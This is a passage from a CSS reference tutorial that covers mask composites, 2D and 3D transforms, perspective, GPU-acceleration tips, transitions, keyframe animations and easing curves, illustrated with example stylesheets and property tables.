    );
    mask-image: repeating-linear-gradient(
        45deg,
        black 0px,
        black 10px,
        transparent 10px,
        transparent 20px
    );
}

/* SVG mask reference */
.svg-mask {
    mask: url(#custom-mask);
}

/* Mask composite operations */
.mask-subtract {
    -webkit-mask-image:
        radial-gradient(circle at 30% 30%, black 20%, transparent 20%),
        radial-gradient(circle at 70% 70%, black 20%, transparent 20%);
    mask-image:
        radial-gradient(circle at 30% 30%, black 20%, transparent 20%),
        radial-gradient(circle at 70% 70%, black 20%, transparent 20%);
    -webkit-mask-composite: source-out;
    mask-composite: subtract;
}

/* Animated mask */
@keyframes mask-move {
    from {
        -webkit-mask-position: 0% 0%;
        mask-position: 0% 0%;
    }
    to {
        -webkit-mask-position: 100% 100%;
        mask-position: 100% 100%;
    }
}

.animated-mask {
    -webkit-mask-image: linear-gradient(45deg, black 50%, transparent);
    mask-image: linear-gradient(45deg, black 50%, transparent);
    -webkit-mask-size: 200% 200%;
    mask-size: 200% 200%;
    animation: mask-move 3s linear infinite;
}

Example: Practical masking use cases

/* Image gallery with shape masks */
.gallery-item {
    -webkit-mask-image: url('/hexagon-mask.svg');
    mask-image: url('/hexagon-mask.svg');
    -webkit-mask-size: contain;
    mask-size: contain;
    -webkit-mask-repeat: no-repeat;
    mask-repeat: no-repeat;
    -webkit-mask-position: center;
    mask-position: center;
}

/* Frosted glass with gradient mask */
.frosted-panel {
    background: rgba(255, 255, 255, 0.1);
    backdrop-filter: blur(10px);
    -webkit-mask-image: linear-gradient(
        to bottom,
        black 0%,
        black 80%,
        transparent 100%
    );
    mask-image: linear-gradient(
        to bottom,
        black 0%,
        black 80%,
        transparent 100%
    );
}

/* Progress bar with mask */
.progress-masked {
    background: linear-gradient(90deg, blue, purple);
    -webkit-mask-image: linear-gradient(
        90deg,
        black 0%,
        black var(--progress, 50%),
        transparent var(--progress, 50%)
    );
    mask-image: linear-gradient(
        90deg,
        black 0%,
        black var(--progress, 50%),
        transparent var(--progress, 50%)
    );
}

/* Text reveal with mask */
.text-reveal {
    background: linear-gradient(90deg, red, blue);
    -webkit-background-clip: text;
    background-clip: text;
    -webkit-text-fill-color: transparent;
    -webkit-mask-image: linear-gradient(
        90deg,
        black 0%,
        black var(--reveal, 0%),
        transparent var(--reveal, 0%)
    );
    mask-image: linear-gradient(
        90deg,
        black 0%,
        black var(--reveal, 0%),
        transparent var(--reveal, 0%)
    );
}
Warning: CSS masks require -webkit- prefix for Safari support. mask-composite values differ between standard and webkit (use source-in, source-out, etc. for webkit).

Borders & Shapes Best Practices

  • Use outline for focus indicators (doesn't affect layout)
  • Use border-image with gradients for gradient borders
  • Use layered box-shadows for realistic depth (2-3 layers)
  • Use filter: drop-shadow() for transparent images instead of box-shadow
  • Use clip-path for custom shapes, shape-outside for text wrapping
  • Animate clip-path for reveal effects (requires same number of points)
  • Use CSS masks for alpha-based visibility (gradients, images)
  • Include -webkit- prefix for mask properties (Safari support)
  • Use border-radius percentages for organic shapes (combine horizontal/vertical radii)

10. CSS Transforms and 3D Effects

10.1 2D Transform Functions

Function Syntax Description Example
translate() translate(x, y) Move element in 2D space translate(50px, 100px)
translateX() translateX(x) Move horizontally translateX(50px)
translateY() translateY(y) Move vertically translateY(100px)
scale() scale(x, y) Scale element (1 = normal) scale(1.5, 2)
scaleX() scaleX(x) Scale horizontally scaleX(2)
scaleY() scaleY(y) Scale vertically scaleY(0.5)
rotate() rotate(angle) Rotate clockwise (deg, rad, turn) rotate(45deg)
skew() skew(x, y) Skew element along X and Y axes skew(10deg, 5deg)
skewX() skewX(angle) Skew horizontally skewX(20deg)
skewY() skewY(angle) Skew vertically skewY(10deg)
matrix() matrix(a, b, c, d, tx, ty) 2D transformation matrix matrix(1, 0, 0, 1, 0, 0)
Property Values Description Default
transform function() Apply transformation(s) none
transform-origin x y Transform origin point 50% 50%
transform-box content-box | border-box | fill-box | stroke-box | view-box Reference box for transform-origin view-box

Example: 2D transform basics

/* Translate (move) */
.move-right {
    transform: translateX(100px);
}

.move-down {
    transform: translateY(50px);
}

.move-diagonal {
    transform: translate(100px, 50px);
}

/* Scale (resize) */
.scale-up {
    transform: scale(1.5);  /* 150% size */
}

.scale-down {
    transform: scale(0.8);  /* 80% size */
}

.scale-x {
    transform: scaleX(2);  /* Double width */
}

.flip-horizontal {
    transform: scaleX(-1);  /* Flip horizontally */
}

.flip-vertical {
    transform: scaleY(-1);  /* Flip vertically */
}

/* Rotate */
.rotate-45 {
    transform: rotate(45deg);
}

.rotate-negative {
    transform: rotate(-90deg);  /* Counter-clockwise */
}

.rotate-full {
    transform: rotate(1turn);  /* 360 degrees */
}

/* Skew (shear) */
.skew-x {
    transform: skewX(20deg);
}

.skew-both {
    transform: skew(10deg, 5deg);
}

Example: Combining transforms

/* Multiple transforms (space-separated, applied right-to-left) */
.combined {
    transform: translateX(100px) rotate(45deg) scale(1.2);
    /* Order matters: scale, then rotate, then translate */
}

/* Hover effects */
.card {
    transition: transform 0.3s ease;
}

.card:hover {
    transform: translateY(-10px) scale(1.05);
    /* Lift up and slightly enlarge */
}

/* Button press effect */
.button {
    transform: scale(1);
    transition: transform 0.1s;
}

.button:active {
    transform: scale(0.95);  /* Shrink slightly when pressed */
}

/* Parallax scroll effect */
.parallax-layer {
    transform: translateY(calc(var(--scroll) * 0.5px));
}

/* Center with transform */
.centered {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
}

/* Rotate on hover */
.rotate-hover {
    transition: transform 0.3s;
}

.rotate-hover:hover {
    transform: rotate(360deg);
}
Note: Transforms don't affect document flow. Order matters: transforms apply right-to-left. Use translate() instead of positioning for better performance (GPU-accelerated).

10.2 3D Transform Properties

Function Syntax Description Example
translateZ() translateZ(z) Move along Z-axis (toward/away viewer) translateZ(100px)
translate3d() translate3d(x, y, z) Move in 3D space translate3d(50px, 100px, 200px)
scaleZ() scaleZ(z) Scale along Z-axis scaleZ(2)
scale3d() scale3d(x, y, z) Scale in 3D space scale3d(1, 1, 2)
rotateX() rotateX(angle) Rotate around X-axis (horizontal) rotateX(45deg)
rotateY() rotateY(angle) Rotate around Y-axis (vertical) rotateY(180deg)
rotateZ() rotateZ(angle) Rotate around Z-axis (same as rotate()) rotateZ(90deg)
rotate3d() rotate3d(x, y, z, angle) Rotate around custom axis rotate3d(1, 1, 0, 45deg)
matrix3d() matrix3d(16 values) 3D transformation matrix Complex transformations
Property Values Description Default
transform-style flat | preserve-3d How child elements render in 3D flat
backface-visibility visible | hidden Show/hide back face when rotated visible
perspective none | length 3D perspective distance (parent) none
perspective-origin x y Vanishing point position 50% 50%

Example: 3D transforms

/* Basic 3D rotation */
.rotate-x {
    transform: rotateX(45deg);
}

.rotate-y {
    transform: rotateY(180deg);  /* Flip horizontally in 3D */
}

.rotate-z {
    transform: rotateZ(90deg);  /* Same as rotate(90deg) */
}

/* 3D translation */
.move-forward {
    transform: translateZ(100px);  /* Toward viewer */
}

.move-backward {
    transform: translateZ(-100px);  /* Away from viewer */
}

/* 3D card flip */
.card {
    transform-style: preserve-3d;
    transition: transform 0.6s;
}

.card.flipped {
    transform: rotateY(180deg);
}

.card-front,
.card-back {
    backface-visibility: hidden;
    position: absolute;
}

.card-back {
    transform: rotateY(180deg);
}

/* 3D cube */
.cube {
    transform-style: preserve-3d;
    transform: rotateX(-20deg) rotateY(30deg);
}

.cube-face {
    position: absolute;
    width: 200px;
    height: 200px;
    backface-visibility: hidden;
}

.cube-front  { transform: translateZ(100px); }
.cube-back   { transform: rotateY(180deg) translateZ(100px); }
.cube-right  { transform: rotateY(90deg) translateZ(100px); }
.cube-left   { transform: rotateY(-90deg) translateZ(100px); }
.cube-top    { transform: rotateX(90deg) translateZ(100px); }
.cube-bottom { transform: rotateX(-90deg) translateZ(100px); }

Example: 3D effects and interactions

/* Perspective container (required for 3D) */
.scene {
    perspective: 1000px;  /* Viewing distance */
}

/* 3D hover tilt effect */
.tilt-card {
    transform-style: preserve-3d;
    transition: transform 0.3s;
}

.tilt-card:hover {
    transform: rotateX(10deg) rotateY(10deg) scale(1.05);
}

/* 3D carousel */
.carousel-3d {
    transform-style: preserve-3d;
}

.carousel-item {
    position: absolute;
    transform-style: preserve-3d;
}

.carousel-item:nth-child(1) { transform: rotateY(0deg) translateZ(300px); }
.carousel-item:nth-child(2) { transform: rotateY(72deg) translateZ(300px); }
.carousel-item:nth-child(3) { transform: rotateY(144deg) translateZ(300px); }
.carousel-item:nth-child(4) { transform: rotateY(216deg) translateZ(300px); }
.carousel-item:nth-child(5) { transform: rotateY(288deg) translateZ(300px); }

/* 3D book open effect */
.book {
    transform-style: preserve-3d;
}

.book-cover {
    transform-origin: left;
    transition: transform 0.8s;
}

.book.open .book-cover {
    transform: rotateY(-180deg);
}

/* 3D parallax layers */
.parallax-3d {
    perspective: 1000px;
}

.layer {
    transform-style: preserve-3d;
}

.layer-1 { transform: translateZ(0px); }
.layer-2 { transform: translateZ(-50px); }
.layer-3 { transform: translateZ(-100px); }
Note: Parent needs perspective for 3D effect. Child needs transform-style: preserve-3d. Use backface-visibility: hidden for flip cards.

10.3 Transform Origin and Perspective

Property Values Description Example
transform-origin x y z Point around which transforms occur top left, 50% 50%
X position left | center | right | length | % Horizontal origin left, 100px, 25%
Y position top | center | bottom | length | % Vertical origin top, 50px, 75%
Z position length Depth origin (3D) 100px
Perspective Property Values Description Effect
perspective none | length Distance from viewer (on parent) Smaller = more dramatic 3D
500px Close Very dramatic 3D effect Strong distortion
1000px Medium Moderate 3D effect Balanced
2000px Far Subtle 3D effect Gentle distortion
perspective-origin x y Vanishing point (viewer position) Changes viewing angle

Example: Transform-origin variations

/* Default origin (center) */
.rotate-center {
    transform-origin: center center;  /* 50% 50% */
    transform: rotate(45deg);
}

/* Corner origins */
.rotate-top-left {
    transform-origin: top left;  /* 0% 0% */
    transform: rotate(45deg);
}

.rotate-bottom-right {
    transform-origin: bottom right;  /* 100% 100% */
    transform: rotate(45deg);
}

/* Edge origins */
.rotate-left {
    transform-origin: left center;  /* Book spine effect */
    transform: rotateY(90deg);
}

.rotate-top {
    transform-origin: top center;  /* Door opening down */
    transform: rotateX(90deg);
}

/* Custom origin with length */
.rotate-custom {
    transform-origin: 100px 50px;
    transform: rotate(45deg);
}

/* 3D origin (with Z) */
.rotate-3d-origin {
    transform-origin: center center -100px;
    transform: rotateY(45deg);
}

/* Scale from corner */
.scale-corner {
    transform-origin: top left;
    transform: scale(2);  /* Grows from top-left */
}

/* Swing animation */
@keyframes swing {
    0%, 100% { transform: rotate(0deg); }
    50% { transform: rotate(10deg); }
}

.swing {
    transform-origin: top center;  /* Pivot at top */
    animation: swing 2s ease-in-out infinite;
}

Example: Perspective effects

/* Container perspective (affects all children) */
.scene {
    perspective: 1000px;
    perspective-origin: center center;
}

/* Strong perspective (close viewer) */
.dramatic-scene {
    perspective: 500px;
}

/* Subtle perspective (distant viewer) */
.subtle-scene {
    perspective: 2000px;
}

/* Off-center perspective */
.perspective-offset {
    perspective: 1000px;
    perspective-origin: 25% 75%;  /* View from bottom-left */
}

/* Per-element perspective with transform */
.perspective-self {
    /* Less common, applies to self not children */
    transform: perspective(1000px) rotateY(45deg);
}

/* Perspective comparison */
.perspective-demo {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    gap: 2rem;
}

.perspective-close {
    perspective: 400px;  /* Strong 3D */
}

.perspective-medium {
    perspective: 1000px;  /* Moderate 3D */
}

.perspective-far {
    perspective: 2000px;  /* Subtle 3D */
}

/* Mouse-tracking perspective */
.interactive-3d {
    perspective: 1000px;
    /* Update perspective-origin with JavaScript based on mouse position */
    perspective-origin: var(--mouse-x, 50%) var(--mouse-y, 50%);
}

.interactive-3d .card {
    transform: rotateX(calc(var(--mouse-y, 50) * 0.1deg))
               rotateY(calc(var(--mouse-x, 50) * 0.1deg));
}
Note: transform-origin sets the pivot point. Default is center center. perspective must be on parent container. Smaller perspective = stronger 3D effect.

10.4 CSS 3D Positioning and Camera

Concept Implementation Description Use Case
3D Scene perspective + preserve-3d Container with perspective and 3D rendering 3D layouts, cards, galleries
Camera Position perspective-origin Viewer's eye position (vanishing point) View angle control
Camera Distance perspective value Distance from viewer to scene 3D strength control
Camera Rotation Transform scene container Rotate entire scene Orbit, pan effects
Object Depth translateZ() Position objects in 3D space Layering, depth

Example: 3D scene setup

/* Basic 3D scene structure */
.scene-3d {
    perspective: 1200px;
    perspective-origin: center center;
}

.stage {
    transform-style: preserve-3d;
    transform: rotateX(-10deg) rotateY(0deg);
    transition: transform 0.5s;
}

.object-3d {
    transform-style: preserve-3d;
    position: absolute;
}

/* Position objects at different depths */
.object-near {
    transform: translateZ(200px);
}

.object-middle {
    transform: translateZ(0px);
}

.object-far {
    transform: translateZ(-200px);
}

/* 3D card stack */
.card-stack {
    perspective: 1000px;
}

.card-stack .card {
    transform-style: preserve-3d;
}

.card-stack .card:nth-child(1) {
    transform: translateZ(0px);
}

.card-stack .card:nth-child(2) {
    transform: translateZ(-50px) translateY(10px);
}

.card-stack .card:nth-child(3) {
    transform: translateZ(-100px) translateY(20px);
}

/* Rotate entire scene (camera orbit) */
.scene-3d:hover .stage {
    transform: rotateX(-10deg) rotateY(20deg);
}

Example: Advanced 3D layouts

/* 3D Gallery with camera control */
.gallery-3d {
    perspective: 1000px;
}

.gallery-stage {
    transform-style: preserve-3d;
    transform: translateZ(-500px);
}

.gallery-item {
    position: absolute;
    transform-style: preserve-3d;
    backface-visibility: hidden;
}

/* Circular arrangement */
.gallery-item:nth-child(1) {
    transform: rotateY(0deg) translateZ(500px);
}

.gallery-item:nth-child(2) {
    transform: rotateY(60deg) translateZ(500px);
}

.gallery-item:nth-child(3) {
    transform: rotateY(120deg) translateZ(500px);
}

/* And so on for 360° circle... */

/* 3D grid layout */
.grid-3d {
    perspective: 1500px;
}

.grid-container {
    transform-style: preserve-3d;
    transform: rotateX(-20deg) rotateY(-20deg);
}

.grid-item {
    transform: translateZ(calc(var(--row) * 50px + var(--col) * 20px));
}

/* Parallax layers with depth */
.parallax-scene {
    perspective: 1000px;
    overflow: hidden;
}

.parallax-layer {
    transform-style: preserve-3d;
}

.parallax-layer-1 {
    transform: translateZ(0px);  /* Front */
}

.parallax-layer-2 {
    transform: translateZ(-100px) scale(1.1);  /* Scale compensates for size */
}

.parallax-layer-3 {
    transform: translateZ(-200px) scale(1.2);  /* Further back */
}

/* 3D isometric view */
.isometric {
    perspective: 1000px;
}

.isometric-container {
    transform-style: preserve-3d;
    transform: rotateX(45deg) rotateZ(45deg);
}

.isometric-box {
    transform-style: preserve-3d;
}

Example: Interactive 3D camera

/* Mouse-tracking 3D scene */
.interactive-scene {
    perspective: 1000px;
    /* Updated via JavaScript */
    perspective-origin: var(--mouse-x, 50%) var(--mouse-y, 50%);
}

.interactive-stage {
    transform-style: preserve-3d;
    transform: 
        rotateX(calc(var(--rotate-x, 0) * 1deg))
        rotateY(calc(var(--rotate-y, 0) * 1deg));
    transition: transform 0.1s;
}

/* Scroll-based 3D rotation */
.scroll-3d {
    perspective: 1200px;
}

.scroll-stage {
    transform-style: preserve-3d;
    transform: rotateY(calc(var(--scroll-progress, 0) * 360deg));
}

/* Device orientation 3D (mobile) */
.device-3d {
    perspective: 1000px;
}

.device-stage {
    transform-style: preserve-3d;
    transform:
        rotateX(calc(var(--beta, 0) * 1deg))
        rotateY(calc(var(--gamma, 0) * 1deg));
}

/* Camera zoom effect */
@keyframes zoom-in {
    from {
        transform: translateZ(-1000px);
        opacity: 0;
    }
    to {
        transform: translateZ(0);
        opacity: 1;
    }
}

.zoom-element {
    animation: zoom-in 1s ease-out;
}

/* Orbit camera animation */
@keyframes orbit {
    from {
        transform: rotateY(0deg);
    }
    to {
        transform: rotateY(360deg);
    }
}

.orbiting-stage {
    transform-style: preserve-3d;
    animation: orbit 20s linear infinite;
}

10.5 Hardware Acceleration Optimization

Technique Implementation Benefit When to Use
GPU Acceleration transform: translateZ(0) Promotes to GPU layer Animated elements
will-change will-change: transform Hint browser about changes Before animations start
transform vs position Use transform for movement Avoid layout recalculation All animations
translate3d() translate3d(x, y, 0) Forces 3D context (GPU) 2D transforms needing GPU
Composite layers Isolate animated elements Reduce paint operations Complex animations
Property GPU Layer Performance Best For
transform ✓ Yes Fast (GPU) Movement, rotation, scale
opacity ✓ Yes Fast (GPU) Fade effects
filter ✓ Yes Moderate (GPU) Visual effects
top/left/right/bottom ✗ No Slow (layout) Avoid for animations
width/height ✗ No Slow (layout + paint) Avoid for animations
background-color ✗ No Moderate (paint) Use sparingly

Example: Hardware acceleration techniques

/* Force GPU acceleration (translateZ hack) */
.gpu-accelerated {
    transform: translateZ(0);
    /* Creates new composite layer */
}

/* Or use translate3d */
.gpu-accelerated-alt {
    transform: translate3d(0, 0, 0);
}

/* will-change for upcoming animations */
.about-to-animate {
    will-change: transform;
    /* Apply before animation, remove after */
}

.about-to-animate.animating {
    transform: translateX(100px);
}

/* Remove will-change when done */
.animation-complete {
    will-change: auto;
}

/* Optimize for smooth animations */
.smooth-animation {
    /* Use GPU-accelerated properties only */
    transition: transform 0.3s, opacity 0.3s;
}

/* Bad: triggers layout */
.bad-animation {
    transition: left 0.3s, width 0.3s;  /* Avoid! */
}

/* Good: GPU-accelerated */
.good-animation {
    transition: transform 0.3s;
}

/* Isolate animated content */
.animated-card {
    /* Create stacking context */
    position: relative;
    z-index: 0;
    transform: translateZ(0);
}

Example: Performance best practices

/* Efficient movement */
/* Bad: reflows and repaints */
.move-bad {
    animation: move-bad 1s;
}

@keyframes move-bad {
    to { left: 100px; }  /* Triggers layout */
}

/* Good: GPU-accelerated */
.move-good {
    animation: move-good 1s;
}

@keyframes move-good {
    to { transform: translateX(100px); }  /* GPU */
}

/* Efficient fade */
/* Bad: might not be GPU-accelerated */
.fade-bad {
    animation: fade-bad 1s;
}

@keyframes fade-bad {
    to { visibility: hidden; }
}

/* Good: GPU-accelerated opacity */
.fade-good {
    animation: fade-good 1s;
}

@keyframes fade-good {
    to { opacity: 0; }
}

/* will-change management */
.element {
    /* Don't apply will-change permanently */
}

.element:hover {
    will-change: transform;  /* Apply on hover */
}

.element.animating {
    transform: scale(1.2);
}

/* JavaScript pattern for will-change */
/*
element.addEventListener('mouseenter', () => {
    element.style.willChange = 'transform';
});

element.addEventListener('animationend', () => {
    element.style.willChange = 'auto';
});
*/

/* Contain paint for isolated animations */
.isolated-animation {
    contain: layout style paint;
    /* Tells browser element doesn't affect outside */
}

/* Reduce composite layers (don't overuse) */
.many-elements .item {
    /* Don't add translateZ(0) to every item */
    /* Only on items that actually animate */
}

.many-elements .item.animated {
    transform: translateZ(0);  /* Only on animated items */
}
Warning: Overuse of will-change can harm performance. Apply temporarily before animations, remove after. Don't promote everything to GPU layers. Only animate transform and opacity for best performance.

Transform & 3D Best Practices

  • Use transform instead of top/left for animations (GPU-accelerated)
  • Only animate transform and opacity for 60fps performance
  • Set perspective on parent, transform-style: preserve-3d on children
  • Use backface-visibility: hidden for flip cards
  • Set transform-origin for custom pivot points (default: center)
  • Use will-change: transform temporarily before animations
  • Use translate3d() or translateZ(0) to force GPU acceleration
  • Smaller perspective values = stronger 3D effect
  • Transform order matters: applied right-to-left

11. CSS Animations and Transitions

11.1 CSS Transition Properties and Timing

Property Values Description Default
transition-property all | none | property-name Which properties to transition all
transition-duration time (s, ms) How long transition takes 0s
transition-timing-function ease | linear | ease-in | ease-out | ease-in-out | cubic-bezier() Speed curve of transition ease
transition-delay time (s, ms) Wait before starting transition 0s
transition property duration timing delay Shorthand for all transition properties all 0s ease 0s
Timing Function Curve Description Use Case
linear Constant speed Same speed start to finish Progress bars, mechanical
ease Slow-fast-slow Accelerate then decelerate General purpose (default)
ease-in Slow start Accelerate from start Elements leaving screen
ease-out Slow end Decelerate to stop Elements entering screen
ease-in-out Slow-fast-slow Smooth acceleration/deceleration Smooth movement
cubic-bezier() Custom curve Full control over acceleration Custom easing effects
steps() Stepped animation Jump between states Sprite animations, typewriter

Example: Basic transitions

/* Simple hover transition */
.button {
    background-color: blue;
    transition: background-color 0.3s ease;
}

.button:hover {
    background-color: darkblue;
}

/* Multiple properties */
.card {
    transform: scale(1);
    opacity: 1;
    transition: transform 0.3s ease, opacity 0.3s ease;
}

.card:hover {
    transform: scale(1.05);
    opacity: 0.9;
}

/* Shorthand - all properties */
.box {
    transition: all 0.3s ease;
}

/* Different timings for different properties */
.element {
    transition: 
        transform 0.3s ease-out,
        opacity 0.5s ease-in,
        background-color 0.2s linear;
}

/* Transition with delay */
.delayed {
    transition: opacity 0.5s ease 0.2s;
    /* opacity, 0.5s duration, ease timing, 0.2s delay */
}

/* Specific properties only */
.specific {
    transition-property: transform, opacity;
    transition-duration: 0.3s;
    transition-timing-function: ease-out;
}

Example: Advanced transition patterns

/* Staggered transitions */
.menu-item {
    opacity: 0;
    transform: translateX(-20px);
    transition: opacity 0.3s ease, transform 0.3s ease;
}

.menu-item:nth-child(1) { transition-delay: 0.1s; }
.menu-item:nth-child(2) { transition-delay: 0.2s; }
.menu-item:nth-child(3) { transition-delay: 0.3s; }

.menu.open .menu-item {
    opacity: 1;
    transform: translateX(0);
}

/* Bi-directional transitions (different in/out) */
.modal {
    opacity: 0;
    transform: scale(0.8);
    transition: opacity 0.3s ease-out, transform 0.3s ease-out;
}

.modal.open {
    opacity: 1;
    transform: scale(1);
    /* Fast opening: ease-out */
    transition: opacity 0.2s ease-out, transform 0.2s ease-out;
}

/* When closing, slower with ease-in */
.modal.closing {
    transition: opacity 0.4s ease-in, transform 0.4s ease-in;
}

/* Custom cubic-bezier easing */
.bouncy {
    transition: transform 0.5s cubic-bezier(0.68, -0.55, 0.265, 1.55);
    /* Bouncy overshoot effect */
}

/* Material Design easing */
.material-standard {
    transition: all 0.3s cubic-bezier(0.4, 0.0, 0.2, 1);
}

.material-decelerate {
    transition: all 0.3s cubic-bezier(0.0, 0.0, 0.2, 1);
}

.material-accelerate {
    transition: all 0.3s cubic-bezier(0.4, 0.0, 1, 1);
}

/* Stepped animation (sprite sheet) */
.sprite {
    background: url('sprite.png');
    width: 50px;
    height: 50px;
    transition: background-position 1s steps(10);
    /* 10 frames */
}

.sprite:hover {
    background-position: -500px 0;  /* 10 frames * 50px */
}
Note: Only animatable properties can transition (transform, opacity, colors, etc.). Avoid transition: all in production (performance). Use specific properties instead.

11.2 CSS Animation and Keyframe Syntax

Property Values Description Default
animation-name keyframe-name Name of @keyframes to use none
animation-duration time (s, ms) How long animation takes 0s
animation-timing-function ease | linear | ease-in | ease-out | ease-in-out | cubic-bezier() Speed curve of animation ease
animation-delay time (s, ms) Wait before starting 0s
animation-iteration-count number | infinite How many times to play 1
animation-direction normal | reverse | alternate | alternate-reverse Play direction normal
animation-fill-mode none | forwards | backwards | both Styles before/after animation none
animation-play-state running | paused Pause or resume animation running
animation name duration timing delay count direction fill Shorthand for all animation properties -
Keyframe Syntax Description Example
@keyframes Define animation sequence @keyframes slide { ... }
from/to Simple 2-state animation from { } to { }
Percentage Multi-state with percentages 0% { } 50% { } 100% { }
Multiple selectors Same styles at different points 0%, 100% { }

Example: Basic keyframe animations

/* Simple fade in */
@keyframes fadeIn {
    from {
        opacity: 0;
    }
    to {
        opacity: 1;
    }
}

.fade-element {
    animation: fadeIn 1s ease;
}

/* Multi-step animation with percentages */
@keyframes bounce {
    0% {
        transform: translateY(0);
    }
    25% {
        transform: translateY(-30px);
    }
    50% {
        transform: translateY(0);
    }
    75% {
        transform: translateY(-15px);
    }
    100% {
        transform: translateY(0);
    }
}

.bounce-element {
    animation: bounce 1s ease;
}

/* Infinite spinning loader */
@keyframes spin {
    from {
        transform: rotate(0deg);
    }
    to {
        transform: rotate(360deg);
    }
}

.loader {
    animation: spin 1s linear infinite;
}

/* Pulse animation */
@keyframes pulse {
    0%, 100% {
        transform: scale(1);
        opacity: 1;
    }
    50% {
        transform: scale(1.1);
        opacity: 0.8;
    }
}

.pulse-button {
    animation: pulse 2s ease-in-out infinite;
}

/* Slide in from left */
@keyframes slideInLeft {
    from {
        transform: translateX(-100%);
        opacity: 0;
    }
    to {
        transform: translateX(0);
        opacity: 1;
    }
}

.slide-in {
    animation: slideInLeft 0.5s ease-out;
}

Example: Advanced animation patterns

/* Animation with fill-mode */
@keyframes slideUp {
    from {
        transform: translateY(100%);
        opacity: 0;
    }
    to {
        transform: translateY(0);
        opacity: 1;
    }
}

.slide-up {
    /* Keep final state after animation */
    animation: slideUp 0.5s ease-out forwards;
}

/* Alternating direction */
@keyframes sway {
    0%, 100% {
        transform: rotate(-5deg);
    }
    50% {
        transform: rotate(5deg);
    }
}

.swaying {
    animation: sway 3s ease-in-out infinite alternate;
    /* Plays forward then backward */
}

/* Multiple animations */
.multi-animated {
    animation: 
        fadeIn 1s ease-out,
        slideUp 1s ease-out,
        pulse 2s ease-in-out 1s infinite;
    /* Third animation starts after 1s delay */
}

/* Paused animation (controlled by JS or hover) */
@keyframes scroll {
    from {
        transform: translateX(0);
    }
    to {
        transform: translateX(-100%);
    }
}

.scrolling-text {
    animation: scroll 10s linear infinite;
}

.scrolling-text:hover {
    animation-play-state: paused;
}

/* Complex multi-property animation */
@keyframes complexEntry {
    0% {
        transform: translateY(50px) scale(0.8) rotate(-5deg);
        opacity: 0;
        filter: blur(10px);
    }
    50% {
        transform: translateY(-10px) scale(1.05) rotate(2deg);
        filter: blur(0px);
    }
    100% {
        transform: translateY(0) scale(1) rotate(0deg);
        opacity: 1;
        filter: blur(0px);
    }
}

.complex-entry {
    animation: complexEntry 0.8s cubic-bezier(0.34, 1.56, 0.64, 1);
}

/* Typing effect with steps */
@keyframes typing {
    from {
        width: 0;
    }
    to {
        width: 100%;
    }
}

@keyframes blink {
    50% {
        border-color: transparent;
    }
}

.typewriter {
    overflow: hidden;
    border-right: 2px solid;
    white-space: nowrap;
    animation: 
        typing 3.5s steps(40) 1s forwards,
        blink 0.75s step-end infinite;
}
Note: Use animation-fill-mode: forwards to keep final state. infinite loops should be performance-optimized. Use @keyframes for complex, multi-step animations.

11.3 Animation Timing Functions and Easing

Easing Function cubic-bezier() Equivalent Characteristic Best For
linear cubic-bezier(0, 0, 1, 1) Constant speed Mechanical, loading bars
ease cubic-bezier(0.25, 0.1, 0.25, 1) Slow start, fast middle, slow end General purpose
ease-in cubic-bezier(0.42, 0, 1, 1) Slow start, fast end Exits, dismissals
ease-out cubic-bezier(0, 0, 0.58, 1) Fast start, slow end Entrances, reveals
ease-in-out cubic-bezier(0.42, 0, 0.58, 1) Slow start and end Smooth loops
Custom Easing Values Effect Use Case
Bounce cubic-bezier(0.68, -0.55, 0.265, 1.55) Overshoots and bounces back Playful interactions
Elastic cubic-bezier(0.68, -0.75, 0.265, 1.75) More extreme bounce Attention-grabbing
Back cubic-bezier(0.6, -0.28, 0.735, 0.045) Pull back before going forward Anticipation effect
Material Standard cubic-bezier(0.4, 0.0, 0.2, 1) Material Design standard Android-style apps
iOS Swift Out cubic-bezier(0.4, 0.0, 0, 1) iOS-style deceleration iOS-style apps
steps() steps(n, start|end) Jump between n discrete states Sprite animations, flip counters

Example: Custom easing functions

/* Bouncy button press */
.bouncy-button {
    transition: transform 0.3s cubic-bezier(0.68, -0.55, 0.265, 1.55);
}

.bouncy-button:active {
    transform: scale(0.9);
}

/* Material Design motion */
.material-card {
    transition: all 0.3s cubic-bezier(0.4, 0.0, 0.2, 1);
}

/* Elastic menu */
@keyframes elasticSlide {
    0% {
        transform: translateX(-100%);
    }
    60% {
        transform: translateX(10%);
    }
    75% {
        transform: translateX(-5%);
    }
    90% {
        transform: translateX(2%);
    }
    100% {
        transform: translateX(0);
    }
}

.elastic-menu {
    animation: elasticSlide 0.8s;
}

/* Or with cubic-bezier */
.elastic-simple {
    animation: slideIn 0.8s cubic-bezier(0.68, -0.75, 0.265, 1.75);
}

/* Stepped animation for sprite */
@keyframes walk {
    to {
        background-position: -480px;  /* 8 frames * 60px */
    }
}

.character-walk {
    width: 60px;
    height: 60px;
    background: url('walk-sprite.png');
    animation: walk 0.8s steps(8) infinite;
}

/* Counter flip animation */
@keyframes flip {
    to {
        transform: translateY(-100%);
    }
}

.flip-counter {
    animation: flip 0.5s steps(10);
}

/* Smooth natural easing (iOS-style) */
.ios-sheet {
    transition: transform 0.5s cubic-bezier(0.32, 0.72, 0, 1);
}

/* Anticipation effect (pull back before forward) */
@keyframes anticipate {
    0% {
        transform: translateX(0);
    }
    20% {
        transform: translateX(-20px);
    }
    100% {
        transform: translateX(100%);
    }
}

.anticipate-exit {
    animation: anticipate 0.6s cubic-bezier(0.6, -0.28, 0.735, 0.045);
}

Example: Easing comparison and best practices

/* Entry animations: use ease-out (fast start, slow end) */
.enter {
    animation: fadeIn 0.3s ease-out;
}

/* Exit animations: use ease-in (slow start, fast end) */
.exit {
    animation: fadeOut 0.3s ease-in;
}

/* Movement: use ease-in-out */
.move {
    transition: transform 0.5s ease-in-out;
}

/* Quick feedback: use shorter durations */
.button-press {
    transition: transform 0.1s ease-out;
}

/* Attention-grabbing: use bounce */
.notification {
    animation: bounce 0.6s cubic-bezier(0.68, -0.55, 0.265, 1.55);
}

/* Smooth infinite loop: use ease-in-out */
@keyframes float {
    0%, 100% {
        transform: translateY(0);
    }
    50% {
        transform: translateY(-20px);
    }
}

.floating {
    animation: float 3s ease-in-out infinite;
}

/* Custom spring animation */
.spring {
    animation: springIn 0.6s cubic-bezier(0.175, 0.885, 0.32, 1.275);
}

/* Stepped loading animation */
@keyframes loadingSteps {
    to {
        background-position: -200px 0;
    }
}

.loading-bar {
    animation: loadingSteps 1s steps(10) infinite;
}

/* Easing visualizer helper classes */
.easing-linear { animation-timing-function: linear; }
.easing-ease { animation-timing-function: ease; }
